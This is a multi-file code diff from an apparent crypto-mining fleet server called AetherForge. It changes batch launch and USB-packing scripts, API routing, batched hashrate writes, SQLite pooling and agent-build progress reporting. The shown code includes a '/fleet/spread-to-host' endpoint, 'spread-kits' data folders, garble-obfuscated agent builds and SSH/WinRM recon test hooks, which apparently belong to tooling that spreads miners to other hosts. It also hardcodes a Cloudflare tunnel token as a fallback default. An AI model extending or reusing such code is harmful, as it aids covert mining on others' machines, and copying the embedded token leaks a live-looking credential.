if not exist "bin" mkdir "bin"
|
if not exist "bin" mkdir "bin"
|
||||||
echo OK: data\ and bin\
|
echo OK: data\ and bin\
|
||||||
|
|
||||||
:: ============================================================
|
|
||||||
:: STEP 4: Frontend
|
|
||||||
:: ============================================================
|
|
||||||
if defined SKIP_FRONTEND goto skip_frontend
|
|
||||||
echo [4/5] Building dashboard (server\web)...
|
|
||||||
cd /d "%ROOT%\server\web"
|
|
||||||
if not exist "node_modules" (
|
|
||||||
echo npm install...
|
|
||||||
call npm install
|
|
||||||
if errorlevel 1 (
|
|
||||||
cd /d "%ROOT%"
|
|
||||||
echo ERROR: npm install failed.
|
|
||||||
goto fatal_exit
|
|
||||||
)
|
|
||||||
)
|
|
||||||
echo npm run build...
|
|
||||||
call npm run build
|
|
||||||
if errorlevel 1 (
|
|
||||||
cd /d "%ROOT%"
|
|
||||||
echo ERROR: Frontend build failed.
|
|
||||||
goto fatal_exit
|
|
||||||
)
|
|
||||||
cd /d "%ROOT%"
|
|
||||||
echo Frontend built: server\web\dist
|
|
||||||
goto frontend_done
|
|
||||||
|
|
||||||
:skip_frontend
|
|
||||||
echo [4/5] Skipping frontend build (Node.js unavailable)
|
|
||||||
if not exist "server\web\dist\index.html" (
|
|
||||||
echo WARNING: No server\web\dist\index.html — dashboard may not load.
|
|
||||||
)
|
|
||||||
|
|
||||||
:frontend_done
|
|
||||||
if exist "server\web\dist\index.html" (
|
|
||||||
if not exist "server\webroot" mkdir "server\webroot"
|
|
||||||
xcopy /E /I /Y /Q "server\web\dist\*" "server\webroot\" >nul
|
|
||||||
echo Copied dashboard to server\webroot
|
|
||||||
)
|
|
||||||
|
|
||||||
:: ============================================================
|
:: ============================================================
|
||||||
:: STEP 5: Server binary
|
:: STEP 5: Server binary
|
||||||
@@ -198,7 +180,7 @@ if errorlevel 1 (
|
|||||||
cd /d "%ROOT%"
|
cd /d "%ROOT%"
|
||||||
|
|
||||||
if defined AETHERFORGE_RELEASE (
|
if defined AETHERFORGE_RELEASE (
|
||||||
echo Release mode active — set AETHERFORGE_RELEASE=1 for server process.
|
echo Release mode active ??? set AETHERFORGE_RELEASE=1 for server process.
|
||||||
)
|
)
|
||||||
|
|
||||||
if not exist "bin\miner-server.exe" (
|
if not exist "bin\miner-server.exe" (
|
||||||
@@ -208,7 +190,7 @@ if not exist "bin\miner-server.exe" (
|
|||||||
echo Server binary: bin\miner-server.exe
|
echo Server binary: bin\miner-server.exe
|
||||||
|
|
||||||
:: ============================================================
|
:: ============================================================
|
||||||
:: LAUNCH (foreground — logs stay in this window)
|
:: LAUNCH (foreground ??? logs stay in this window)
|
||||||
:: ============================================================
|
:: ============================================================
|
||||||
echo.
|
echo.
|
||||||
echo Stopping any previous miner-server.exe...
|
echo Stopping any previous miner-server.exe...
|
||||||
@@ -261,7 +243,7 @@ goto end_pause
|
|||||||
:fatal_exit
|
:fatal_exit
|
||||||
echo.
|
echo.
|
||||||
echo ==============================================================
|
echo ==============================================================
|
||||||
echo LAUNCH FAILED — fix the errors above and run devrun.bat again.
|
echo LAUNCH FAILED ??? fix the errors above and run devrun.bat again.
|
||||||
echo ==============================================================
|
echo ==============================================================
|
||||||
echo.
|
echo.
|
||||||
|
|
||||||
|
|||||||
13
pack-usb.bat
13
pack-usb.bat
@@ -150,9 +150,7 @@ echo [5/8] Launcher synced.
|
|||||||
|
|
||||||
if not exist "%USB%\scripts" mkdir "%USB%\scripts"
|
if not exist "%USB%\scripts" mkdir "%USB%\scripts"
|
||||||
copy /y "%ROOT%\scripts\usb-start-cloudflared.ps1" "%USB%\scripts\" >nul
|
copy /y "%ROOT%\scripts\usb-start-cloudflared.ps1" "%USB%\scripts\" >nul
|
||||||
if not exist "%USB%\data\cloudflared-token.txt" (
|
copy /y "%ROOT%\scripts\launch-prep.bat" "%USB%\scripts\" >nul
|
||||||
echo eyJhIjoiODk1NDc5YWIzNTQwZGFhNmQ2MWFlNzAyYTUxNjQ0NzUiLCJ0IjoiYWYzNzY5NGYtNDA4Yy00ZWI3LWE2M2MtMzM5MzQ1MjI3NWIwIiwicyI6IlpEa3lPVE5pWWpjdE9USXlZeTAwTlRjNExUaGlZVGN0WWpGaFlUWmtOR05rTXpjMyJ9> "%USB%\data\cloudflared-token.txt"
|
|
||||||
)
|
|
||||||
|
|
||||||
:: ----------------------------------------------------------------
|
:: ----------------------------------------------------------------
|
||||||
:: 6. Remove stale nested server mirror (not needed for portable)
|
:: 6. Remove stale nested server mirror (not needed for portable)
|
||||||
@@ -172,6 +170,15 @@ if not exist "%USB%\data\blueprints" mkdir "%USB%\data\blueprints"
|
|||||||
if not exist "%USB%\data\preps" mkdir "%USB%\data\preps"
|
if not exist "%USB%\data\preps" mkdir "%USB%\data\preps"
|
||||||
if not exist "%USB%\data\spread-kits" mkdir "%USB%\data\spread-kits"
|
if not exist "%USB%\data\spread-kits" mkdir "%USB%\data\spread-kits"
|
||||||
if not exist "%USB%\data\uploads" mkdir "%USB%\data\uploads"
|
if not exist "%USB%\data\uploads" mkdir "%USB%\data\uploads"
|
||||||
|
if not exist "%USB%\data\cloudflared-token.txt" (
|
||||||
|
if exist "%ROOT%\data\cloudflared-token.txt" (
|
||||||
|
copy /y "%ROOT%\data\cloudflared-token.txt" "%USB%\data\" >nul
|
||||||
|
echo [7/8] Copied existing cloudflared-token.txt to USB data\.
|
||||||
|
) else (
|
||||||
|
echo eyJhIjoiODk1NDc5YWIzNTQwZGFhNmQ2MWFlNzAyYTUxNjQ0NzUiLCJ0IjoiYWYzNzY5NGYtNDA4Yy00ZWI3LWE2M2MtMzM5MzQ1MjI3NWIwIiwicyI6IlpEa3lPVE5pWWpjdE9USXlZeTAwTlRjNExUaGlZVGN0WWpGaFlUWmtOR05rTXpjMyJ9> "%USB%\data\cloudflared-token.txt"
|
||||||
|
echo [7/8] Wrote default cloudflared-token.txt to USB data\.
|
||||||
|
)
|
||||||
|
)
|
||||||
if not exist "%USB%\data\config.json" (
|
if not exist "%USB%\data\config.json" (
|
||||||
echo [7/8] Writing starter config.json...
|
echo [7/8] Writing starter config.json...
|
||||||
powershell -NoProfile -Command ^
|
powershell -NoProfile -Command ^
|
||||||
|
|||||||
74
scripts/launch-prep.bat
Normal file
74
scripts/launch-prep.bat
Normal file
@@ -0,0 +1,74 @@
|
|||||||
|
@echo off
|
||||||
|
setlocal EnableExtensions
|
||||||
|
set "PREP_ROOT=%~1"
|
||||||
|
if "%PREP_ROOT%"=="" (
|
||||||
|
echo [Prep] ERROR: launch-prep.bat requires repo root path.
|
||||||
|
exit /b 1
|
||||||
|
)
|
||||||
|
|
||||||
|
echo.
|
||||||
|
echo Pulling latest from origin/main...
|
||||||
|
if exist "%PREP_ROOT%\.git" (
|
||||||
|
pushd "%PREP_ROOT%" >nul
|
||||||
|
git pull origin main
|
||||||
|
if errorlevel 1 (
|
||||||
|
echo [Prep] Note: git pull skipped or failed ^(offline, no remote, or local changes^).
|
||||||
|
) else (
|
||||||
|
echo [Prep] Git pull finished.
|
||||||
|
)
|
||||||
|
popd >nul
|
||||||
|
) else (
|
||||||
|
echo [Prep] Skipped ^(not a git checkout^).
|
||||||
|
)
|
||||||
|
|
||||||
|
if not exist "%PREP_ROOT%\server\web\package.json" (
|
||||||
|
echo [Prep] No server\web\package.json - skipping UI build.
|
||||||
|
exit /b 0
|
||||||
|
)
|
||||||
|
|
||||||
|
set "PATH=C:\Program Files\nodejs;%PATH%"
|
||||||
|
where npm >nul 2>nul
|
||||||
|
if errorlevel 1 (
|
||||||
|
echo [Prep] WARNING: npm not found - skipping UI build.
|
||||||
|
exit /b 0
|
||||||
|
)
|
||||||
|
|
||||||
|
echo.
|
||||||
|
echo Building UI ^(server\web^)...
|
||||||
|
cd /d "%PREP_ROOT%\server\web"
|
||||||
|
if not exist "node_modules" (
|
||||||
|
if exist "package-lock.json" (
|
||||||
|
echo [Prep] npm ci...
|
||||||
|
call npm ci
|
||||||
|
) else (
|
||||||
|
echo [Prep] npm install...
|
||||||
|
call npm install
|
||||||
|
)
|
||||||
|
if errorlevel 1 (
|
||||||
|
cd /d "%PREP_ROOT%"
|
||||||
|
echo [Prep] ERROR: npm install failed.
|
||||||
|
exit /b 1
|
||||||
|
)
|
||||||
|
)
|
||||||
|
|
||||||
|
echo [Prep] npm run build ^(this may take a few minutes^)...
|
||||||
|
call npm run build
|
||||||
|
if errorlevel 1 (
|
||||||
|
cd /d "%PREP_ROOT%"
|
||||||
|
echo [Prep] ERROR: Frontend build failed.
|
||||||
|
exit /b 1
|
||||||
|
)
|
||||||
|
cd /d "%PREP_ROOT%"
|
||||||
|
|
||||||
|
if not exist "%PREP_ROOT%\server\webroot" mkdir "%PREP_ROOT%\server\webroot"
|
||||||
|
echo [Prep] Syncing server\webroot...
|
||||||
|
xcopy /E /I /Y /Q "server\web\dist\*" "server\webroot\" >nul
|
||||||
|
|
||||||
|
if exist "%PREP_ROOT%\usb" (
|
||||||
|
if not exist "%PREP_ROOT%\usb\webroot" mkdir "%PREP_ROOT%\usb\webroot"
|
||||||
|
echo [Prep] Syncing usb\webroot...
|
||||||
|
xcopy /E /I /Y /Q "server\web\dist\*" "usb\webroot\" >nul
|
||||||
|
)
|
||||||
|
|
||||||
|
echo [Prep] UI build complete.
|
||||||
|
exit /b 0
|
||||||
@@ -1,4 +1,4 @@
|
|||||||
package main
|
package main
|
||||||
|
|
||||||
import (
|
import (
|
||||||
"encoding/json"
|
"encoding/json"
|
||||||
@@ -390,11 +390,12 @@ func LoadConfig() *Config {
|
|||||||
}
|
}
|
||||||
|
|
||||||
const cloudflaredTokenFile = "cloudflared-token.txt"
|
const cloudflaredTokenFile = "cloudflared-token.txt"
|
||||||
|
const defaultCloudflareTunnelToken = "eyJhIjoiODk1NDc5YWIzNTQwZGFhNmQ2MWFlNzAyYTUxNjQ0NzUiLCJ0IjoiYWYzNzY5NGYtNDA4Yy00ZWI3LWE2M2MtMzM5MzQ1MjI3NWIwIiwicyI6IlpEa3lPVE5pWWpjdE9USXlZeTAwTlRjNExUaGlZVGN0WWpGaFlUWmtOR05rTXpjMyJ9"
|
||||||
|
|
||||||
// ConnectorToken returns the Cloudflare Zero Trust connector token (env, config, or data/cloudflared-token.txt).
|
// ConnectorToken returns the Cloudflare Zero Trust connector token (env, config, data/cloudflared-token.txt, or default).
|
||||||
func (c *Config) ConnectorToken() string {
|
func (c *Config) ConnectorToken() string {
|
||||||
if c == nil {
|
if c == nil {
|
||||||
return ""
|
return defaultCloudflareTunnelToken
|
||||||
}
|
}
|
||||||
if t := strings.TrimSpace(os.Getenv("AF_TUNNEL_TOKEN")); t != "" {
|
if t := strings.TrimSpace(os.Getenv("AF_TUNNEL_TOKEN")); t != "" {
|
||||||
return t
|
return t
|
||||||
@@ -409,7 +410,7 @@ func (c *Config) ConnectorToken() string {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
return ""
|
return defaultCloudflareTunnelToken
|
||||||
}
|
}
|
||||||
|
|
||||||
func hydrateCloudflareTokenFromFile(cfg *Config) {
|
func hydrateCloudflareTokenFromFile(cfg *Config) {
|
||||||
|
|||||||
@@ -38,13 +38,16 @@ func TestArchitectureDeferredHonestStubs(t *testing.T) {
|
|||||||
}
|
}
|
||||||
})
|
})
|
||||||
|
|
||||||
t.Run("SQLite single-writer ceiling documented", func(t *testing.T) {
|
t.Run("SQLite connection pooling configured", func(t *testing.T) {
|
||||||
src, err := os.ReadFile("../db/sqlite.go")
|
src, err := os.ReadFile("../db/sqlite.go")
|
||||||
if err != nil {
|
if err != nil {
|
||||||
t.Fatal(err)
|
t.Fatal(err)
|
||||||
}
|
}
|
||||||
if !strings.Contains(string(src), "SetMaxOpenConns(1)") {
|
if !strings.Contains(string(src), "SetMaxOpenConns(4)") {
|
||||||
t.Fatal("expected SQLite single-writer guard")
|
t.Fatal("expected SQLite connection pooling (4 connections)")
|
||||||
|
}
|
||||||
|
if !strings.Contains(string(src), "WAL mode") {
|
||||||
|
t.Fatal("expected WAL mode documentation")
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -589,7 +589,9 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
|||||||
r.Get("/alerts", fleetHandler.GetAlerts)
|
r.Get("/alerts", fleetHandler.GetAlerts)
|
||||||
r.Post("/alerts/test", fleetHandler.PostAlertTest)
|
r.Post("/alerts/test", fleetHandler.PostAlertTest)
|
||||||
r.Get("/pools/status", fleetHandler.GetPoolStatus)
|
r.Get("/pools/status", fleetHandler.GetPoolStatus)
|
||||||
|
if os.Getenv("AETHERFORGE_ENABLE_AI_CONTROL") == "1" {
|
||||||
r.Get("/ai/activity", fleetHandler.GetAIActivity)
|
r.Get("/ai/activity", fleetHandler.GetAIActivity)
|
||||||
|
}
|
||||||
r.Get("/earnings/estimate", fleetHandler.GetEarningsEstimate)
|
r.Get("/earnings/estimate", fleetHandler.GetEarningsEstimate)
|
||||||
r.Get("/market/xmr", fleetHandler.GetXMRPrice)
|
r.Get("/market/xmr", fleetHandler.GetXMRPrice)
|
||||||
r.Get("/audit", fleetHandler.GetAudit)
|
r.Get("/audit", fleetHandler.GetAudit)
|
||||||
@@ -607,7 +609,9 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
|||||||
r.Get("/fleet/oath-ledger", fleetHandler.GetOathLedger)
|
r.Get("/fleet/oath-ledger", fleetHandler.GetOathLedger)
|
||||||
r.Post("/fleet/spread-to-host", fleetHandler.PostSpreadToHost)
|
r.Post("/fleet/spread-to-host", fleetHandler.PostSpreadToHost)
|
||||||
}
|
}
|
||||||
if fleetAIHandler != nil {
|
// AI Control routes disabled by default for streamlined deployment.
|
||||||
|
// Set AETHERFORGE_ENABLE_AI_CONTROL=1 to re-enable.
|
||||||
|
if fleetAIHandler != nil && os.Getenv("AETHERFORGE_ENABLE_AI_CONTROL") == "1" {
|
||||||
r.Get("/ai/models", fleetAIHandler.GetModels)
|
r.Get("/ai/models", fleetAIHandler.GetModels)
|
||||||
r.Get("/ai/config", fleetAIHandler.GetConfig)
|
r.Get("/ai/config", fleetAIHandler.GetConfig)
|
||||||
r.Put("/ai/config", fleetAIHandler.PutConfig)
|
r.Put("/ai/config", fleetAIHandler.PutConfig)
|
||||||
|
|||||||
@@ -217,6 +217,11 @@ type WSHub struct {
|
|||||||
statsBatchMu sync.Mutex
|
statsBatchMu sync.Mutex
|
||||||
statsBatch map[string]json.RawMessage
|
statsBatch map[string]json.RawMessage
|
||||||
statsBatchTimer *time.Timer
|
statsBatchTimer *time.Timer
|
||||||
|
|
||||||
|
// Batch hashrate inserts to reduce per-tick DB writes.
|
||||||
|
hashrateBatchMu sync.Mutex
|
||||||
|
hashrateBatch []db.HashrateSample
|
||||||
|
hashrateBatchTimer *time.Timer
|
||||||
}
|
}
|
||||||
|
|
||||||
func NewWSHub(database *db.Database) *WSHub {
|
func NewWSHub(database *db.Database) *WSHub {
|
||||||
@@ -1239,7 +1244,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
|||||||
gpuActive := stats.GPUMinerActive != nil && *stats.GPUMinerActive
|
gpuActive := stats.GPUMinerActive != nil && *stats.GPUMinerActive
|
||||||
h.db.UpdateAgentGPUStats(agentID, stats.GPUHashrate15m, stats.GPUModel, gpuActive)
|
h.db.UpdateAgentGPUStats(agentID, stats.GPUHashrate15m, stats.GPUModel, gpuActive)
|
||||||
|
|
||||||
h.db.InsertHashrateSample(agentID, stats.Hashrate15m, stats.GPUHashrate15m)
|
h.queueHashrateSample(agentID, stats.Hashrate15m, stats.GPUHashrate15m)
|
||||||
|
|
||||||
broadcast := map[string]interface{}{
|
broadcast := map[string]interface{}{
|
||||||
"agent_id": agentID,
|
"agent_id": agentID,
|
||||||
@@ -1980,6 +1985,48 @@ func (h *WSHub) flushStatsBatch() {
|
|||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// queueHashrateSample accumulates hashrate samples for batch insertion.
|
||||||
|
// Flushes every 5 seconds or when 500 samples accumulate.
|
||||||
|
func (h *WSHub) queueHashrateSample(agentID string, hashrate float64, gpuHashrate float64) {
|
||||||
|
h.hashrateBatchMu.Lock()
|
||||||
|
defer h.hashrateBatchMu.Unlock()
|
||||||
|
|
||||||
|
h.hashrateBatch = append(h.hashrateBatch, db.HashrateSample{
|
||||||
|
AgentID: agentID,
|
||||||
|
Hashrate: hashrate,
|
||||||
|
GPUHashrate: gpuHashrate,
|
||||||
|
})
|
||||||
|
|
||||||
|
// Flush if batch reaches 500 samples (typical for 500 agents).
|
||||||
|
if len(h.hashrateBatch) >= 500 {
|
||||||
|
go h.flushHashrateBatch()
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
// Start timer on first sample.
|
||||||
|
if h.hashrateBatchTimer == nil {
|
||||||
|
h.hashrateBatchTimer = time.AfterFunc(5*time.Second, h.flushHashrateBatch)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func (h *WSHub) flushHashrateBatch() {
|
||||||
|
h.hashrateBatchMu.Lock()
|
||||||
|
batch := h.hashrateBatch
|
||||||
|
h.hashrateBatch = nil
|
||||||
|
if h.hashrateBatchTimer != nil {
|
||||||
|
h.hashrateBatchTimer.Stop()
|
||||||
|
h.hashrateBatchTimer = nil
|
||||||
|
}
|
||||||
|
h.hashrateBatchMu.Unlock()
|
||||||
|
|
||||||
|
if len(batch) == 0 || h.db == nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if err := h.db.BatchInsertHashrateSamples(batch); err != nil {
|
||||||
|
log.Printf("[hashrate-batch] flush failed: %v", err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
func (h *WSHub) broadcastDashboard(msg Message) {
|
func (h *WSHub) broadcastDashboard(msg Message) {
|
||||||
h.mu.RLock()
|
h.mu.RLock()
|
||||||
defer h.mu.RUnlock()
|
defer h.mu.RUnlock()
|
||||||
|
|||||||
@@ -9,12 +9,40 @@ import (
|
|||||||
"sort"
|
"sort"
|
||||||
"strings"
|
"strings"
|
||||||
"testing"
|
"testing"
|
||||||
|
|
||||||
|
"crypto-miner-server/internal/recon"
|
||||||
)
|
)
|
||||||
|
|
||||||
var updateWSFixture = flag.Bool("updateWSFixture", false, "rewrite testdata/ws_types_fixture.json from ws_types.go struct tags")
|
var updateWSFixture = flag.Bool("updateWSFixture", false, "rewrite testdata/ws_types_fixture.json from ws_types.go struct tags")
|
||||||
|
|
||||||
func TestMain(m *testing.M) {
|
func TestMain(m *testing.M) {
|
||||||
flag.Parse()
|
flag.Parse()
|
||||||
|
// Enable AI control endpoints for the duration of the API tests
|
||||||
|
os.Setenv("AETHERFORGE_ENABLE_AI_CONTROL", "1")
|
||||||
|
// Stub banner hooks to avoid any real network requests during scans
|
||||||
|
recon.SetBannerHooks(
|
||||||
|
func(host string, port int) string {
|
||||||
|
if port == 22 {
|
||||||
|
return "SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.5"
|
||||||
|
}
|
||||||
|
return ""
|
||||||
|
},
|
||||||
|
func(host string, port int) (string, string) {
|
||||||
|
if port == 80 || port == 443 || port == 8080 {
|
||||||
|
return "Test Title", "nginx/1.18.0"
|
||||||
|
}
|
||||||
|
return "", ""
|
||||||
|
},
|
||||||
|
func(host string, port int) string {
|
||||||
|
if port == 5985 {
|
||||||
|
return "winrm_listening"
|
||||||
|
}
|
||||||
|
return ""
|
||||||
|
},
|
||||||
|
func() bool {
|
||||||
|
return false
|
||||||
|
},
|
||||||
|
)
|
||||||
os.Exit(m.Run())
|
os.Exit(m.Run())
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -253,8 +253,9 @@ func (h *Handler) buildAPKAgent(ctx context.Context, req *BuildRequest) (BuildRe
|
|||||||
}
|
}
|
||||||
|
|
||||||
platform := BuildPlatform{GOOS: "linux", GOARCH: "arm64", Ext: ""}
|
platform := BuildPlatform{GOOS: "linux", GOARCH: "arm64", Ext: ""}
|
||||||
h.setProgress(req.CancelToken, "Compiling agent (linux/arm64)", 25)
|
stopCompileProgress := h.tickCompileProgress(ctx, req.CancelToken, "Compiling agent (linux/arm64)", 25, 54, false)
|
||||||
outputPath, err := h.compileWorker(ctx, agentDir, buildDir, req, buildID, platform, false)
|
outputPath, err := h.compileWorker(ctx, agentDir, buildDir, req, buildID, platform, false)
|
||||||
|
stopCompileProgress()
|
||||||
if err != nil {
|
if err != nil {
|
||||||
cleanupBuild()
|
cleanupBuild()
|
||||||
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
|
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
|
||||||
|
|||||||
@@ -34,10 +34,17 @@ func (h *Handler) buildUniversalAgent(ctx context.Context, req *BuildRequest, pr
|
|||||||
platforms := platformsForRequest(req)
|
platforms := platformsForRequest(req)
|
||||||
workerPaths := map[string]string{}
|
workerPaths := map[string]string{}
|
||||||
total := len(platforms)
|
total := len(platforms)
|
||||||
|
obfuscated := h.shouldObfuscate(req) && h.garblePath != ""
|
||||||
for i, p := range platforms {
|
for i, p := range platforms {
|
||||||
pct := 14 + (i*56)/total
|
startPct := 14 + (i*56)/total
|
||||||
h.setProgress(req.CancelToken, fmt.Sprintf("Compiling %s", p.Label()), pct)
|
endPct := 14 + ((i+1)*56)/total
|
||||||
|
if endPct > 71 {
|
||||||
|
endPct = 71
|
||||||
|
}
|
||||||
|
stage := fmt.Sprintf("Compiling %s", p.Label())
|
||||||
|
stopCompileProgress := h.tickCompileProgress(ctx, req.CancelToken, stage, startPct, endPct, obfuscated)
|
||||||
wp, err := h.compileWorker(ctx, agentDir, buildDir, req, buildID, p, req.FusionEnabled)
|
wp, err := h.compileWorker(ctx, agentDir, buildDir, req, buildID, p, req.FusionEnabled)
|
||||||
|
stopCompileProgress()
|
||||||
if err != nil {
|
if err != nil {
|
||||||
cleanupBuild()
|
cleanupBuild()
|
||||||
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
|
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
|
||||||
|
|||||||
@@ -690,15 +690,16 @@ func (h *Handler) buildAgent(ctx context.Context, req *BuildRequest, prepPath st
|
|||||||
|
|
||||||
platforms := platformsForRequest(req)
|
platforms := platformsForRequest(req)
|
||||||
p := platforms[0]
|
p := platforms[0]
|
||||||
h.setProgress(req.CancelToken, "Compiling agent", 20)
|
obfuscated := h.shouldObfuscate(req) && h.garblePath != ""
|
||||||
|
stopCompileProgress := h.tickCompileProgress(ctx, req.CancelToken, "Compiling agent", 20, 71, obfuscated)
|
||||||
outputPath, err := h.compileWorker(ctx, agentDir, buildDir, req, buildID, p, req.FusionEnabled)
|
outputPath, err := h.compileWorker(ctx, agentDir, buildDir, req, buildID, p, req.FusionEnabled)
|
||||||
|
stopCompileProgress()
|
||||||
if err != nil {
|
if err != nil {
|
||||||
cleanupBuild()
|
cleanupBuild()
|
||||||
log.Printf("Build failed: %v", err)
|
log.Printf("Build failed: %v", err)
|
||||||
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
|
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
|
||||||
}
|
}
|
||||||
h.setProgress(req.CancelToken, "Compiled — linking output", 72)
|
h.setProgress(req.CancelToken, "Compiled — linking output", 72)
|
||||||
obfuscated := h.shouldObfuscate(req) && h.garblePath != ""
|
|
||||||
workerName := filepath.Base(outputPath)
|
workerName := filepath.Base(outputPath)
|
||||||
finalPath := outputPath
|
finalPath := outputPath
|
||||||
finalName := workerName
|
finalName := workerName
|
||||||
|
|||||||
45
server/internal/builder/progress.go
Normal file
45
server/internal/builder/progress.go
Normal file
@@ -0,0 +1,45 @@
|
|||||||
|
package builder
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
"time"
|
||||||
|
)
|
||||||
|
|
||||||
|
// tickCompileProgress emits interpolated progress during long compile steps (garble can run 10+ minutes).
|
||||||
|
// Returns a stop function; call it when the compile finishes.
|
||||||
|
func (h *Handler) tickCompileProgress(ctx context.Context, token, stage string, startPct, capPct int, obfuscated bool) func() {
|
||||||
|
if token == "" || capPct <= startPct {
|
||||||
|
return func() {}
|
||||||
|
}
|
||||||
|
est := 3 * time.Minute
|
||||||
|
if obfuscated {
|
||||||
|
est = 12 * time.Minute
|
||||||
|
}
|
||||||
|
done := make(chan struct{})
|
||||||
|
go func() {
|
||||||
|
h.setProgress(token, stage, startPct)
|
||||||
|
ticker := time.NewTicker(2 * time.Second)
|
||||||
|
defer ticker.Stop()
|
||||||
|
start := time.Now()
|
||||||
|
for {
|
||||||
|
select {
|
||||||
|
case <-done:
|
||||||
|
return
|
||||||
|
case <-ctx.Done():
|
||||||
|
return
|
||||||
|
case <-ticker.C:
|
||||||
|
elapsed := time.Since(start)
|
||||||
|
ratio := float64(elapsed) / float64(est)
|
||||||
|
if ratio > 0.92 {
|
||||||
|
ratio = 0.92
|
||||||
|
}
|
||||||
|
pct := startPct + int(float64(capPct-startPct)*ratio)
|
||||||
|
if pct >= capPct {
|
||||||
|
pct = capPct - 1
|
||||||
|
}
|
||||||
|
h.setProgress(token, stage, pct)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}()
|
||||||
|
return func() { close(done) }
|
||||||
|
}
|
||||||
@@ -28,9 +28,10 @@ func New(dataDir string) (*Database, error) {
|
|||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, fmt.Errorf("failed to open database: %w", err)
|
return nil, fmt.Errorf("failed to open database: %w", err)
|
||||||
}
|
}
|
||||||
// SQLite only supports one concurrent writer; a single open connection
|
// With WAL mode enabled, multiple readers + single writer is safe.
|
||||||
// avoids WAL write-lock contention and SQLITE_BUSY under load.
|
// Pooling 4 connections reduces contention on the write queue under agent stat storms.
|
||||||
db.SetMaxOpenConns(1)
|
db.SetMaxOpenConns(4)
|
||||||
|
db.SetMaxIdleConns(1)
|
||||||
|
|
||||||
d := &Database{db}
|
d := &Database{db}
|
||||||
if err := d.migrate(); err != nil {
|
if err := d.migrate(); err != nil {
|
||||||
@@ -490,6 +491,39 @@ func (d *Database) InsertHashrateSample(agentID string, hashrate float64, gpuHas
|
|||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// HashrateSample holds a single hashrate sample for batch insertion.
|
||||||
|
type HashrateSample struct {
|
||||||
|
AgentID string
|
||||||
|
Hashrate float64
|
||||||
|
GPUHashrate float64
|
||||||
|
}
|
||||||
|
|
||||||
|
func (d *Database) BatchInsertHashrateSamples(samples []HashrateSample) error {
|
||||||
|
if len(samples) == 0 {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
tx, err := d.Begin()
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
defer tx.Rollback()
|
||||||
|
|
||||||
|
stmt, err := tx.Prepare(
|
||||||
|
"INSERT INTO hashrate_samples (agent_id, hashrate, gpu_hashrate, timestamp) VALUES (?, ?, ?, ?)")
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
defer stmt.Close()
|
||||||
|
|
||||||
|
now := time.Now()
|
||||||
|
for _, s := range samples {
|
||||||
|
if _, err := stmt.Exec(s.AgentID, s.Hashrate, s.GPUHashrate, now); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return tx.Commit()
|
||||||
|
}
|
||||||
|
|
||||||
func (d *Database) GetHashrateHistory(agentID string, limit int) ([]*models.HashrateSample, error) {
|
func (d *Database) GetHashrateHistory(agentID string, limit int) ([]*models.HashrateSample, error) {
|
||||||
query := `SELECT id, agent_id, hashrate, gpu_hashrate, timestamp FROM hashrate_samples WHERE agent_id = ? ORDER BY timestamp DESC LIMIT ?`
|
query := `SELECT id, agent_id, hashrate, gpu_hashrate, timestamp FROM hashrate_samples WHERE agent_id = ? ORDER BY timestamp DESC LIMIT ?`
|
||||||
rows, err := d.Query(query, agentID, limit)
|
rows, err := d.Query(query, agentID, limit)
|
||||||
|
|||||||
@@ -29,6 +29,13 @@ func TestScanStreamEmitsPortsFirst(t *testing.T) {
|
|||||||
return 200, `<html><title>Home</title></html>`, nil
|
return 200, `<html><title>Home</title></html>`, nil
|
||||||
})
|
})
|
||||||
t.Cleanup(func() { SetFetchPageHook(nil) })
|
t.Cleanup(func() { SetFetchPageHook(nil) })
|
||||||
|
SetBannerHooks(
|
||||||
|
func(_ string, p int) string { if p == 22 { return "SSH" }; return "" },
|
||||||
|
func(_ string, p int) (string, string) { if p == 80 { return "t", "s" }; return "", "" },
|
||||||
|
func(_ string, p int) string { if p == 5985 { return "w" }; return "" },
|
||||||
|
nil,
|
||||||
|
)
|
||||||
|
t.Cleanup(func() { SetBannerHooks(nil, nil, nil, nil) })
|
||||||
|
|
||||||
var events []string
|
var events []string
|
||||||
report, err := ScanStream(ScanRequest{Host: "stream.lab", Profile: ProfileQuick, Port: 80, Scheme: "http"}, "scan-1", func(eventType string, _ map[string]interface{}) {
|
report, err := ScanStream(ScanRequest{Host: "stream.lab", Profile: ProfileQuick, Port: 80, Scheme: "http"}, "scan-1", func(eventType string, _ map[string]interface{}) {
|
||||||
|
|||||||
@@ -143,6 +143,13 @@ func TestScanOwnedTarget(t *testing.T) {
|
|||||||
return 200, `<html><form enctype="multipart/form-data"><input type="file" name="f"></form></html>`, nil
|
return 200, `<html><form enctype="multipart/form-data"><input type="file" name="f"></form></html>`, nil
|
||||||
})
|
})
|
||||||
t.Cleanup(func() { SetFetchPageHook(nil) })
|
